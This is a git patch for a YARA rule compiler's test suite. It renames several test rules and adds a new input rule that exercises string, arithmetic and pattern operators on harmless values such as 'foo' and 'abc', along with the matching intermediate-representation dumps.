rich_syntax { + meta: + author = "test" + version = 3.14 + strings: + $a = "abc" ascii wide fullword + $b = "cde" base64 + $c = { 01 02 [1-2] ?? } + $d = /reg.*exp/i nocase + condition: + all of them and + any of ($a*) and + filesize > 100 and + (1 << 2) + (8 >> 1) >= 4 and + 1 == 1 and + 2 != 3 and + 4 < 5 and + 6 <= 6 and + 7 > 2 and + "foo" contains "f" and + "bar" icontains "B" and + "baz" startswith "b" + and "qux" istartswith "Q" and + "end" endswith "d" and + "IEND" iendswith "D" and + "eq" iequals "EQ" and + "str" matches /str/ and + not false and none of ($b*) and + (1 & 2) | (3 ^ 4) != ~0 and + 5 % 2 == 1 and + 2 * 3 == 6 and + 1 - 1 == 0 + } From b27631807052aab378a98f22b2db6db4b743a3d8 Mon Sep 17 00:00:00 2001 From: "Victor M. Alvarez" Date: Wed, 24 Jun 2026 18:35:55 +0200 Subject: [PATCH 23/25] tests: more test cases for better coverage. --- lib/src/compiler/ir/tests/testdata/14.cse.ir | 8 +- .../compiler/ir/tests/testdata/14.hoisting.ir | 8 +- lib/src/compiler/ir/tests/testdata/14.in | 8 +- lib/src/compiler/ir/tests/testdata/14.ir | 8 +- lib/src/compiler/ir/tests/testdata/15.cse.ir | 193 ++++++++++++++++++ .../compiler/ir/tests/testdata/15.hoisting.ir | 193 ++++++++++++++++++ lib/src/compiler/ir/tests/testdata/15.in | 31 +++ lib/src/compiler/ir/tests/testdata/15.ir | 193 ++++++++++++++++++ 8 files changed, 626 insertions(+), 16 deletions(-) create mode 100644 lib/src/compiler/ir/tests/testdata/15.cse.ir create mode 100644 lib/src/compiler/ir/tests/testdata/15.hoisting.ir create mode 100644 lib/src/compiler/ir/tests/testdata/15.in create mode 100644 lib/src/compiler/ir/tests/testdata/15.ir diff --git a/lib/src/compiler/ir/tests/testdata/14.cse.ir b/lib/src/compiler/ir/tests/testdata/14.cse.ir index bfde2198..1240471e 100644 --- a/lib/src/compiler/ir/tests/testdata/14.cse.ir +++ b/lib/src/compiler/ir/tests/testdata/14.cse.ir @@ -1,4 +1,4 @@ -RULE test_hoisting_nested +RULE test_1 20: FOR_IN -- hash: 0x72bf379da36225e5 n: Var { frame_id: 1, ty: integer, index: 0 } i: Var { frame_id: 1, ty: integer, index: 1 } @@ -36,7 +36,7 @@ RULE test_hoisting_nested 14: SYMBOL Var { var: Var { frame_id: 2, ty: integer, index: 12 }, type_value: integer(unknown) } 15: CONST integer(4) -RULE test_hoisting_with +RULE test_2 13: WITH -- hash: 0x862ac2b588220f59 0: CONST integer(10) 12: FOR_IN -- hash: 0xfb8fa06e0ec768d9 @@ -55,7 +55,7 @@ RULE test_hoisting_with 8: SYMBOL Var { var: Var { frame_id: 2, ty: integer, index: 6 }, type_value: integer(unknown) } 9: CONST integer(0) -RULE test_hoisting_field_access +RULE test_3 19: FOR_IN -- hash: 0x9f80cf2da772b9f9 n: Var { frame_id: 1, ty: integer, index: 0 } i: Var { frame_id: 1, ty: integer, index: 1 } @@ -82,7 +82,7 @@ RULE test_hoisting_field_access 14: SYMBOL Field { index: 36, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: Some(DeprecationNotice { text: "this field is deprecated", help: Some("use `pe.sections.len()` instead"), replacement: Some("sections.len()") }) } 16: CONST integer(0) -RULE test_hoisting_limit +RULE test_4 532: FOR_IN -- hash: 0x9955d895482ac2dd n: Var { frame_id: 1, ty: integer, index: 0 } i: Var { frame_id: 1, ty: integer, index: 1 } diff --git a/lib/src/compiler/ir/tests/testdata/14.hoisting.ir b/lib/src/compiler/ir/tests/testdata/14.hoisting.ir index 18b15ee1..3cae6600 100644 --- a/lib/src/compiler/ir/tests/testdata/14.hoisting.ir +++ b/lib/src/compiler/ir/tests/testdata/14.hoisting.ir @@ -1,4 +1,4 @@ -RULE test_hoisting_nested +RULE test_1 22: WITH -- hash: 0xf1f8589cad533195 21: FIELD_ACCESS -- hash: 0x89fe7b03f298d17c 6: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } @@ -42,7 +42,7 @@ RULE test_hoisting_nested 14: SYMBOL Var { var: Var { frame_id: 2, ty: integer, index: 15 }, type_value: integer(unknown) } 15: CONST integer(4) -RULE test_hoisting_with +RULE test_2 13: WITH -- hash: 0xf8fe891269be2ce8 0: CONST integer(10) 15: WITH -- hash: 0xd4d80d750f834956 @@ -63,7 +63,7 @@ RULE test_hoisting_with 8: SYMBOL Var { var: Var { frame_id: 2, ty: integer, index: 7 }, type_value: integer(unknown) } 9: CONST integer(0) -RULE test_hoisting_field_access +RULE test_3 21: WITH -- hash: 0xbdd327417e085fb8 20: FIELD_ACCESS -- hash: 0xb93ff31706b0e381 4: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } @@ -96,7 +96,7 @@ RULE test_hoisting_field_access 11: CONST string(".text") 17: SYMBOL Var { var: Var { frame_id: 0, ty: boolean, index: 2 }, type_value: boolean(unknown) } -RULE test_hoisting_limit +RULE test_4 532: FOR_IN -- hash: 0x9955d895482ac2dd n: Var { frame_id: 1, ty: integer, index: 0 } i: Var { frame_id: 1, ty: integer, index: 1 } diff --git a/lib/src/compiler/ir/tests/testdata/14.in b/lib/src/compiler/ir/tests/testdata/14.in index 7c8975b0..6a0255ac 100644 --- a/lib/src/compiler/ir/tests/testdata/14.in +++ b/lib/src/compiler/ir/tests/testdata/14.in @@ -1,6 +1,6 @@ import "pe" -rule test_hoisting_nested { +rule test_1 { condition: for any i in (1..5) : ( for any j in (1..5) : ( @@ -11,7 +11,7 @@ rule test_hoisting_nested { ) } -rule test_hoisting_with { +rule test_2 { condition: with x = 10 : ( for any i in (1..5) : ( @@ -20,14 +20,14 @@ rule test_hoisting_with { ) } -rule test_hoisting_field_access { +rule test_3 { condition: for any i in (0..pe.number_of_sections) : ( pe.sections[i].name == ".text" and pe.number_of_sections > 0 ) } -rule test_hoisting_limit { +rule test_4 { condition: for any i in (1..5) : ( for any j in (1..5) : ( diff --git a/lib/src/compiler/ir/tests/testdata/14.ir b/lib/src/compiler/ir/tests/testdata/14.ir index bfde2198..1240471e 100644 --- a/lib/src/compiler/ir/tests/testdata/14.ir +++ b/lib/src/compiler/ir/tests/testdata/14.ir @@ -1,4 +1,4 @@ -RULE test_hoisting_nested +RULE test_1 20: FOR_IN -- hash: 0x72bf379da36225e5 n: Var { frame_id: 1, ty: integer, index: 0 } i: Var { frame_id: 1, ty: integer, index: 1 } @@ -36,7 +36,7 @@ RULE test_hoisting_nested 14: SYMBOL Var { var: Var { frame_id: 2, ty: integer, index: 12 }, type_value: integer(unknown) } 15: CONST integer(4) -RULE test_hoisting_with +RULE test_2 13: WITH -- hash: 0x862ac2b588220f59 0: CONST integer(10) 12: FOR_IN -- hash: 0xfb8fa06e0ec768d9 @@ -55,7 +55,7 @@ RULE test_hoisting_with 8: SYMBOL Var { var: Var { frame_id: 2, ty: integer, index: 6 }, type_value: integer(unknown) } 9: CONST integer(0) -RULE test_hoisting_field_access +RULE test_3 19: FOR_IN -- hash: 0x9f80cf2da772b9f9 n: Var { frame_id: 1, ty: integer, index: 0 } i: Var { frame_id: 1, ty: integer, index: 1 } @@ -82,7 +82,7 @@ RULE test_hoisting_field_access 14: SYMBOL Field { index: 36, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: Some(DeprecationNotice { text: "this field is deprecated", help: Some("use `pe.sections.len()` instead"), replacement: Some("sections.len()") }) } 16: CONST integer(0) -RULE test_hoisting_limit +RULE test_4 532: FOR_IN -- hash: 0x9955d895482ac2dd n: Var { frame_id: 1, ty: integer, index: 0 } i: Var { frame_id: 1, ty: integer, index: 1 } diff --git a/lib/src/compiler/ir/tests/testdata/15.cse.ir b/lib/src/compiler/ir/tests/testdata/15.cse.ir new file mode 100644 index 00000000..ce8858d2 --- /dev/null +++ b/lib/src/compiler/ir/tests/testdata/15.cse.ir @@ -0,0 +1,193 @@ +RULE test + 171: AND -- hash: 0x550720c3956843bf + 0: PATTERN_MATCH PatternIdx(0) -- hash: 0x5a276c8d75077d2b + 2: PATTERN_MATCH PatternIdx(0) AT -- hash: 0xfb7f3424e7aabb50 + 1: CONST integer(0) + 5: PATTERN_MATCH PatternIdx(0) IN -- hash: 0x1a40dae1e637aa39 + 3: CONST integer(0) + 4: CONST integer(100) + 8: GT -- hash: 0xe14c02d2ca38c7fe + 6: PATTERN_COUNT PatternIdx(0) -- hash: 0x295099eb5fc21fe8 + 7: CONST integer(0) + 13: GT -- hash: 0x92f8c6f7e54b02b8 + 11: PATTERN_COUNT PatternIdx(0) IN -- hash: 0x4343c02e3b7c252b + 9: CONST integer(0) + 10: CONST integer(100) + 12: CONST integer(0) + 16: GT -- hash: 0x2c7be90e3169df71 + 14: PATTERN_OFFSET PatternIdx(0) -- hash: 0xf879c749467cc2a4 + 15: CONST integer(0) + 20: GT -- hash: 0x8bb5a93875bc3546 + 18: PATTERN_OFFSET PatternIdx(0) INDEX -- hash: 0x3a988b42c9d1c021 + 17: CONST integer(1) + 19: CONST integer(0) + 23: GT -- hash: 0x77abcf49989af6e3 + 21: PATTERN_LENGTH PatternIdx(0) -- hash: 0xc7a2f4a72d376561 + 22: CONST integer(0) + 27: GT -- hash: 0xf87b38b95dae2020 + 25: PATTERN_LENGTH PatternIdx(0) INDEX -- hash: 0x85c8717e3102d793 + 24: CONST integer(1) + 26: CONST integer(0) + 35: FOR_OF -- hash: 0x987e0cb4f38e5d95 + n: Var { frame_id: 1, ty: integer, index: 0 } + i: Var { frame_id: 1, ty: integer, index: 1 } + max_count: Var { frame_id: 1, ty: integer, index: 2 } + count: Var { frame_id: 1, ty: integer, index: 3 } + item: Var { frame_id: 1, ty: integer, index: 4 } + 34: AND -- hash: 0x3c966b1c6d560e68 + 28: PATTERN_MATCH Var { var: Var { frame_id: 1, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0x7568d28f12aefce0 + 30: PATTERN_MATCH Var { var: Var { frame_id: 1, ty: integer, index: 4 }, type_value: integer(unknown) } AT -- hash: 0x1951a046c05c8a50 + 29: CONST integer(0) + 33: PATTERN_MATCH Var { var: Var { frame_id: 1, ty: integer, index: 4 }, type_value: integer(unknown) } IN -- hash: 0x31b056800031c05a + 31: CONST integer(0) + 32: CONST integer(100) + 45: FOR_OF -- hash: 0x2a6ca1a1aeced4d6 + n: Var { frame_id: 2, ty: integer, index: 0 } + i: Var { frame_id: 2, ty: integer, index: 1 } + max_count: Var { frame_id: 2, ty: integer, index: 2 } + count: Var { frame_id: 2, ty: integer, index: 3 } + item: Var { frame_id: 2, ty: integer, index: 4 } + 44: AND -- hash: 0xce850009289685a8 + 38: GT -- hash: 0xadc66c0f48e750e7 + 36: PATTERN_COUNT Var { var: Var { frame_id: 2, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0x12da6e911e4b1855 + 37: CONST integer(0) + 43: GT -- hash: 0x84e68ea465523c78 + 41: PATTERN_COUNT Var { var: Var { frame_id: 2, ty: integer, index: 4 }, type_value: integer(unknown) } IN -- hash: 0xc336d1bfa8f9804 + 39: CONST integer(0) + 40: CONST integer(100) + 42: CONST integer(0) + 54: FOR_OF -- hash: 0xb649de6a3c0b0603 + n: Var { frame_id: 3, ty: integer, index: 0 } + i: Var { frame_id: 3, ty: integer, index: 1 } + max_count: Var { frame_id: 3, ty: integer, index: 2 } + count: Var { frame_id: 3, ty: integer, index: 3 } + item: Var { frame_id: 3, ty: integer, index: 4 } + 53: AND -- hash: 0xada51cbb798a9af6 + 48: GT -- hash: 0xeeaeb61296e7af4e + 46: PATTERN_OFFSET Var { var: Var { frame_id: 3, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0xb04c0a9329e733c9 + 47: CONST integer(0) + 52: GT -- hash: 0x77ae50bc98adf661 + 50: PATTERN_OFFSET Var { var: Var { frame_id: 3, ty: integer, index: 4 }, type_value: integer(unknown) } INDEX -- hash: 0x43dbbef46c221d0a + 49: CONST integer(1) + 51: CONST integer(0) + 63: FOR_OF -- hash: 0xe68ac61aa5953ab8 + n: Var { frame_id: 4, ty: integer, index: 0 } + i: Var { frame_id: 4, ty: integer, index: 1 } + max_count: Var { frame_id: 4, ty: integer, index: 2 } + count: Var { frame_id: 4, ty: integer, index: 3 } + item: Var { frame_id: 4, ty: integer, index: 4 } + 62: AND -- hash: 0xdde6046be314cfab + 57: GT -- hash: 0x2f970015e0e80db6 + 55: PATTERN_LENGTH Var { var: Var { frame_id: 4, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0x4dbda69535834f3e + 56: CONST integer(0) + 61: GT -- hash: 0x95f4118d25b93df3 + 59: PATTERN_LENGTH Var { var: Var { frame_id: 4, ty: integer, index: 4 }, type_value: integer(unknown) } INDEX -- hash: 0x84c408f7ba227b71 + 58: CONST integer(1) + 60: CONST integer(0) + 65: FOR_OF -- hash: 0xe716d23849fe7860 + n: Var { frame_id: 5, ty: integer, index: 0 } + i: Var { frame_id: 5, ty: integer, index: 1 } + max_count: Var { frame_id: 5, ty: integer, index: 2 } + count: Var { frame_id: 5, ty: integer, index: 3 } + item: Var { frame_id: 5, ty: integer, index: 4 } + 64: PATTERN_MATCH Var { var: Var { frame_id: 5, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0x43f441662202a59c + 68: OF -- hash: 0xd907e19beae11f88 + 67: CONST boolean(false) + 66: CONST boolean(true) + 69: OF -- hash: 0xc1af08cf16d07e7 + 72: FOR_OF -- hash: 0xa985997e5b03a6d7 + n: Var { frame_id: 8, ty: integer, index: 0 } + i: Var { frame_id: 8, ty: integer, index: 1 } + max_count: Var { frame_id: 8, ty: integer, index: 2 } + count: Var { frame_id: 8, ty: integer, index: 3 } + item: Var { frame_id: 8, ty: integer, index: 4 } + 70: CONST integer(1) + 71: PATTERN_MATCH Var { var: Var { frame_id: 8, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0x1edcd4876d816429 + 80: FOR_IN -- hash: 0x808e64d8eb48ab96 + n: Var { frame_id: 9, ty: integer, index: 0 } + i: Var { frame_id: 9, ty: integer, index: 1 } + max_count: Var { frame_id: 9, ty: integer, index: 2 } + count: Var { frame_id: 9, ty: integer, index: 3 } + item: Var { frame_id: 9, ty: unknown, index: 4 } + 73: CONST integer(1) + 74: CONST integer(5) + 79: EQ -- hash: 0xe92c004f9190e2ec + 77: ADD -- hash: 0xb9090c9f9899e70f + 75: SYMBOL Var { var: Var { frame_id: 9, ty: integer, index: 5 }, type_value: integer(unknown) } + 76: CONST integer(1) + 78: CONST integer(2) + 84: NE -- hash: 0x92df6290b941eceb + 82: CONST integer(-2) + 83: CONST integer(0) + 89: EQ -- hash: 0x2772eae3cc6605b3 + 87: CONST integer(0) + 88: CONST integer(0) + 94: EQ -- hash: 0xe620d6a4866ed47d + 92: CONST integer(3) + 93: CONST integer(3) + 99: EQ -- hash: 0xe620d6a4866ed47d + 97: CONST integer(3) + 98: CONST integer(3) + 102: LT -- hash: 0xc2cd260920d8212b + 100: CONST integer(-1) + 101: CONST integer(0) + 107: EQ -- hash: 0x513c32b99dc13a3a + 105: CONST integer(2) + 106: CONST integer(2) + 112: EQ -- hash: 0xa4cec2653c77a348 + 110: CONST integer(6) + 111: CONST integer(6) + 117: EQ -- hash: 0x37b6700f88d99369 + 115: DIV -- hash: 0xe3d346244ff8cc57 + 113: CONST integer(6) + 114: CONST integer(2) + 116: CONST integer(3) + 122: EQ -- hash: 0x1a81b6c621408d88 + 120: MOD -- hash: 0x3b6ad7150dbd77e8 + 118: CONST integer(5) + 119: CONST integer(2) + 121: CONST integer(1) + 127: EQ -- hash: 0x7b057a8f6f1c6ec1 + 125: CONST integer(4) + 126: CONST integer(4) + 132: EQ -- hash: 0x7b057a8f6f1c6ec1 + 130: CONST integer(4) + 131: CONST integer(4) + 135: CONTAINS -- hash: 0x660fc7ce052cb681 + 133: CONST string("foo") + 134: CONST string("f") + 138: ICONTAINS -- hash: 0x377f84bcc413903b + 136: CONST string("foo") + 137: CONST string("F") + 141: STARTS_WITH -- hash: 0xd2d5574eed1ea15b + 139: CONST string("foo") + 140: CONST string("f") + 144: ISTARTS_WITH -- hash: 0xa445143dac057b15 + 142: CONST string("foo") + 143: CONST string("F") + 147: ENDS_WITH -- hash: 0xaf9269de21654fff + 145: CONST string("foo") + 146: CONST string("o") + 150: IENDS_WITH -- hash: 0xf81ff13400fb2d99 + 148: CONST string("foo") + 149: CONST string("O") + 153: IEQUALS -- hash: 0x59f750b89300b823 + 151: CONST string("foo") + 152: CONST string("FOO") + 157: CONTAINS -- hash: 0x69900714c5de042c + 154: CONST string("foo") + 156: CONST string("foo") + 161: DEFINED -- hash: 0xc649804070cd56ad + 160: FIELD_ACCESS -- hash: 0x89fe7b03f298d17c + 158: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 159: SYMBOL Field { index: 36, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: Some(DeprecationNotice { text: "this field is deprecated", help: Some("use `pe.sections.len()` instead"), replacement: Some("sections.len()") }) } + 170: EQ -- hash: 0xc86bbac0d41a5b9c + 168: FIELD_ACCESS -- hash: 0x6af92ddf1af8a3f2 + 166: LOOKUP -- hash: 0xb7e6fdca077aa568 + 164: FIELD_ACCESS -- hash: 0xb93ff31706b0e381 + 162: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 163: SYMBOL Field { index: 49, is_root: false, type_value: array, acl: None, deprecation_notice: None } + 165: CONST integer(0) + 167: SYMBOL Field { index: 0, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } + 169: CONST string(".text") + diff --git a/lib/src/compiler/ir/tests/testdata/15.hoisting.ir b/lib/src/compiler/ir/tests/testdata/15.hoisting.ir new file mode 100644 index 00000000..ce8858d2 --- /dev/null +++ b/lib/src/compiler/ir/tests/testdata/15.hoisting.ir @@ -0,0 +1,193 @@ +RULE test + 171: AND -- hash: 0x550720c3956843bf + 0: PATTERN_MATCH PatternIdx(0) -- hash: 0x5a276c8d75077d2b + 2: PATTERN_MATCH PatternIdx(0) AT -- hash: 0xfb7f3424e7aabb50 + 1: CONST integer(0) + 5: PATTERN_MATCH PatternIdx(0) IN -- hash: 0x1a40dae1e637aa39 + 3: CONST integer(0) + 4: CONST integer(100) + 8: GT -- hash: 0xe14c02d2ca38c7fe + 6: PATTERN_COUNT PatternIdx(0) -- hash: 0x295099eb5fc21fe8 + 7: CONST integer(0) + 13: GT -- hash: 0x92f8c6f7e54b02b8 + 11: PATTERN_COUNT PatternIdx(0) IN -- hash: 0x4343c02e3b7c252b + 9: CONST integer(0) + 10: CONST integer(100) + 12: CONST integer(0) + 16: GT -- hash: 0x2c7be90e3169df71 + 14: PATTERN_OFFSET PatternIdx(0) -- hash: 0xf879c749467cc2a4 + 15: CONST integer(0) + 20: GT -- hash: 0x8bb5a93875bc3546 + 18: PATTERN_OFFSET PatternIdx(0) INDEX -- hash: 0x3a988b42c9d1c021 + 17: CONST integer(1) + 19: CONST integer(0) + 23: GT -- hash: 0x77abcf49989af6e3 + 21: PATTERN_LENGTH PatternIdx(0) -- hash: 0xc7a2f4a72d376561 + 22: CONST integer(0) + 27: GT -- hash: 0xf87b38b95dae2020 + 25: PATTERN_LENGTH PatternIdx(0) INDEX -- hash: 0x85c8717e3102d793 + 24: CONST integer(1) + 26: CONST integer(0) + 35: FOR_OF -- hash: 0x987e0cb4f38e5d95 + n: Var { frame_id: 1, ty: integer, index: 0 } + i: Var { frame_id: 1, ty: integer, index: 1 } + max_count: Var { frame_id: 1, ty: integer, index: 2 } + count: Var { frame_id: 1, ty: integer, index: 3 } + item: Var { frame_id: 1, ty: integer, index: 4 } + 34: AND -- hash: 0x3c966b1c6d560e68 + 28: PATTERN_MATCH Var { var: Var { frame_id: 1, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0x7568d28f12aefce0 + 30: PATTERN_MATCH Var { var: Var { frame_id: 1, ty: integer, index: 4 }, type_value: integer(unknown) } AT -- hash: 0x1951a046c05c8a50 + 29: CONST integer(0) + 33: PATTERN_MATCH Var { var: Var { frame_id: 1, ty: integer, index: 4 }, type_value: integer(unknown) } IN -- hash: 0x31b056800031c05a + 31: CONST integer(0) + 32: CONST integer(100) + 45: FOR_OF -- hash: 0x2a6ca1a1aeced4d6 + n: Var { frame_id: 2, ty: integer, index: 0 } + i: Var { frame_id: 2, ty: integer, index: 1 } + max_count: Var { frame_id: 2, ty: integer, index: 2 } + count: Var { frame_id: 2, ty: integer, index: 3 } + item: Var { frame_id: 2, ty: integer, index: 4 } + 44: AND -- hash: 0xce850009289685a8 + 38: GT -- hash: 0xadc66c0f48e750e7 + 36: PATTERN_COUNT Var { var: Var { frame_id: 2, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0x12da6e911e4b1855 + 37: CONST integer(0) + 43: GT -- hash: 0x84e68ea465523c78 + 41: PATTERN_COUNT Var { var: Var { frame_id: 2, ty: integer, index: 4 }, type_value: integer(unknown) } IN -- hash: 0xc336d1bfa8f9804 + 39: CONST integer(0) + 40: CONST integer(100) + 42: CONST integer(0) + 54: FOR_OF -- hash: 0xb649de6a3c0b0603 + n: Var { frame_id: 3, ty: integer, index: 0 } + i: Var { frame_id: 3, ty: integer, index: 1 } + max_count: Var { frame_id: 3, ty: integer, index: 2 } + count: Var { frame_id: 3, ty: integer, index: 3 } + item: Var { frame_id: 3, ty: integer, index: 4 } + 53: AND -- hash: 0xada51cbb798a9af6 + 48: GT -- hash: 0xeeaeb61296e7af4e + 46: PATTERN_OFFSET Var { var: Var { frame_id: 3, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0xb04c0a9329e733c9 + 47: CONST integer(0) + 52: GT -- hash: 0x77ae50bc98adf661 + 50: PATTERN_OFFSET Var { var: Var { frame_id: 3, ty: integer, index: 4 }, type_value: integer(unknown) } INDEX -- hash: 0x43dbbef46c221d0a + 49: CONST integer(1) + 51: CONST integer(0) + 63: FOR_OF -- hash: 0xe68ac61aa5953ab8 + n: Var { frame_id: 4, ty: integer, index: 0 } + i: Var { frame_id: 4, ty: integer, index: 1 } + max_count: Var { frame_id: 4, ty: integer, index: 2 } + count: Var { frame_id: 4, ty: integer, index: 3 } + item: Var { frame_id: 4, ty: integer, index: 4 } + 62: AND -- hash: 0xdde6046be314cfab + 57: GT -- hash: 0x2f970015e0e80db6 + 55: PATTERN_LENGTH Var { var: Var { frame_id: 4, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0x4dbda69535834f3e + 56: CONST integer(0) + 61: GT -- hash: 0x95f4118d25b93df3 + 59: PATTERN_LENGTH Var { var: Var { frame_id: 4, ty: integer, index: 4 }, type_value: integer(unknown) } INDEX -- hash: 0x84c408f7ba227b71 + 58: CONST integer(1) + 60: CONST integer(0) + 65: FOR_OF -- hash: 0xe716d23849fe7860 + n: Var { frame_id: 5, ty: integer, index: 0 } + i: Var { frame_id: 5, ty: integer, index: 1 } + max_count: Var { frame_id: 5, ty: integer, index: 2 } + count: Var { frame_id: 5, ty: integer, index: 3 } + item: Var { frame_id: 5, ty: integer, index: 4 } + 64: PATTERN_MATCH Var { var: Var { frame_id: 5, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0x43f441662202a59c + 68: OF -- hash: 0xd907e19beae11f88 + 67: CONST boolean(false) + 66: CONST boolean(true) + 69: OF -- hash: 0xc1af08cf16d07e7 + 72: FOR_OF -- hash: 0xa985997e5b03a6d7 + n: Var { frame_id: 8, ty: integer, index: 0 } + i: Var { frame_id: 8, ty: integer, index: 1 } + max_count: Var { frame_id: 8, ty: integer, index: 2 } + count: Var { frame_id: 8, ty: integer, index: 3 } + item: Var { frame_id: 8, ty: integer, index: 4 } + 70: CONST integer(1) + 71: PATTERN_MATCH Var { var: Var { frame_id: 8, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0x1edcd4876d816429 + 80: FOR_IN -- hash: 0x808e64d8eb48ab96 + n: Var { frame_id: 9, ty: integer, index: 0 } + i: Var { frame_id: 9, ty: integer, index: 1 } + max_count: Var { frame_id: 9, ty: integer, index: 2 } + count: Var { frame_id: 9, ty: integer, index: 3 } + item: Var { frame_id: 9, ty: unknown, index: 4 } + 73: CONST integer(1) + 74: CONST integer(5) + 79: EQ -- hash: 0xe92c004f9190e2ec + 77: ADD -- hash: 0xb9090c9f9899e70f + 75: SYMBOL Var { var: Var { frame_id: 9, ty: integer, index: 5 }, type_value: integer(unknown) } + 76: CONST integer(1) + 78: CONST integer(2) + 84: NE -- hash: 0x92df6290b941eceb + 82: CONST integer(-2) + 83: CONST integer(0) + 89: EQ -- hash: 0x2772eae3cc6605b3 + 87: CONST integer(0) + 88: CONST integer(0) + 94: EQ -- hash: 0xe620d6a4866ed47d + 92: CONST integer(3) + 93: CONST integer(3) + 99: EQ -- hash: 0xe620d6a4866ed47d + 97: CONST integer(3) + 98: CONST integer(3) + 102: LT -- hash: 0xc2cd260920d8212b + 100: CONST integer(-1) + 101: CONST integer(0) + 107: EQ -- hash: 0x513c32b99dc13a3a + 105: CONST integer(2) + 106: CONST integer(2) + 112: EQ -- hash: 0xa4cec2653c77a348 + 110: CONST integer(6) + 111: CONST integer(6) + 117: EQ -- hash: 0x37b6700f88d99369 + 115: DIV -- hash: 0xe3d346244ff8cc57 + 113: CONST integer(6) + 114: CONST integer(2) + 116: CONST integer(3) + 122: EQ -- hash: 0x1a81b6c621408d88 + 120: MOD -- hash: 0x3b6ad7150dbd77e8 + 118: CONST integer(5) + 119: CONST integer(2) + 121: CONST integer(1) + 127: EQ -- hash: 0x7b057a8f6f1c6ec1 + 125: CONST integer(4) + 126: CONST integer(4) + 132: EQ -- hash: 0x7b057a8f6f1c6ec1 + 130: CONST integer(4) + 131: CONST integer(4) + 135: CONTAINS -- hash: 0x660fc7ce052cb681 + 133: CONST string("foo") + 134: CONST string("f") + 138: ICONTAINS -- hash: 0x377f84bcc413903b + 136: CONST string("foo") + 137: CONST string("F") + 141: STARTS_WITH -- hash: 0xd2d5574eed1ea15b + 139: CONST string("foo") + 140: CONST string("f") + 144: ISTARTS_WITH -- hash: 0xa445143dac057b15 + 142: CONST string("foo") + 143: CONST string("F") + 147: ENDS_WITH -- hash: 0xaf9269de21654fff + 145: CONST string("foo") + 146: CONST string("o") + 150: IENDS_WITH -- hash: 0xf81ff13400fb2d99 + 148: CONST string("foo") + 149: CONST string("O") + 153: IEQUALS -- hash: 0x59f750b89300b823 + 151: CONST string("foo") + 152: CONST string("FOO") + 157: CONTAINS -- hash: 0x69900714c5de042c + 154: CONST string("foo") + 156: CONST string("foo") + 161: DEFINED -- hash: 0xc649804070cd56ad + 160: FIELD_ACCESS -- hash: 0x89fe7b03f298d17c + 158: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 159: SYMBOL Field { index: 36, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: Some(DeprecationNotice { text: "this field is deprecated", help: Some("use `pe.sections.len()` instead"), replacement: Some("sections.len()") }) } + 170: EQ -- hash: 0xc86bbac0d41a5b9c + 168: FIELD_ACCESS -- hash: 0x6af92ddf1af8a3f2 + 166: LOOKUP -- hash: 0xb7e6fdca077aa568 + 164: FIELD_ACCESS -- hash: 0xb93ff31706b0e381 + 162: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 163: SYMBOL Field { index: 49, is_root: false, type_value: array, acl: None, deprecation_notice: None } + 165: CONST integer(0) + 167: SYMBOL Field { index: 0, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } + 169: CONST string(".text") + diff --git a/lib/src/compiler/ir/tests/testdata/15.in b/lib/src/compiler/ir/tests/testdata/15.in new file mode 100644 index 00000000..9e209f13 --- /dev/null +++ b/lib/src/compiler/ir/tests/testdata/15.in @@ -0,0 +1,31 @@ +import "pe" + +rule test { + strings: + $a = "foo" + $b = "bar" + $r1 = /regex1/ + $r2 = /regex2/ + condition: + $a and $a at 0 and $a in (0..100) and + #a > 0 and #a in (0..100) > 0 and + @a > 0 and @a[1] > 0 and + !a > 0 and !a[1] > 0 and + for any of ($a*) : ( $ and $ at 0 and $ in (0..100) ) and + for any of ($a*) : ( # > 0 and # in (0..100) > 0 ) and + for any of ($a*) : ( @ > 0 and @[1] > 0 ) and + for any of ($a*) : ( ! > 0 and ![1] > 0 ) and + for any of ($r*) : ( $ ) and + any of (true, false) and + all of ($a, $b) and + for 1 of ($a*) : ( $ ) and + for any i in (1..5) : ( i + 1 == 2 ) and + ~1 != 0 and (1 & 2) == 0 and (1 | 2) == 3 and (1 ^ 2) == 3 and + -1 < 0 and (5 - 3) == 2 and (2 * 3) == 6 and (6 \ 2) == 3 and (5 % 2) == 1 and + (1 << 2) == 4 and (8 >> 1) == 4 and + "foo" contains "f" and "foo" icontains "F" and + "foo" startswith "f" and "foo" istartswith "F" and + "foo" endswith "o" and "foo" iendswith "O" and + "foo" iequals "FOO" and "foo" matches /foo/ and + defined pe.number_of_sections and pe.sections[0].name == ".text" +} diff --git a/lib/src/compiler/ir/tests/testdata/15.ir b/lib/src/compiler/ir/tests/testdata/15.ir new file mode 100644 index 00000000..ce8858d2 --- /dev/null +++ b/lib/src/compiler/ir/tests/testdata/15.ir @@ -0,0 +1,193 @@ +RULE test + 171: AND -- hash: 0x550720c3956843bf + 0: PATTERN_MATCH PatternIdx(0) -- hash: 0x5a276c8d75077d2b + 2: PATTERN_MATCH PatternIdx(0) AT -- hash: 0xfb7f3424e7aabb50 + 1: CONST integer(0) + 5: PATTERN_MATCH PatternIdx(0) IN -- hash: 0x1a40dae1e637aa39 + 3: CONST integer(0) + 4: CONST integer(100) + 8: 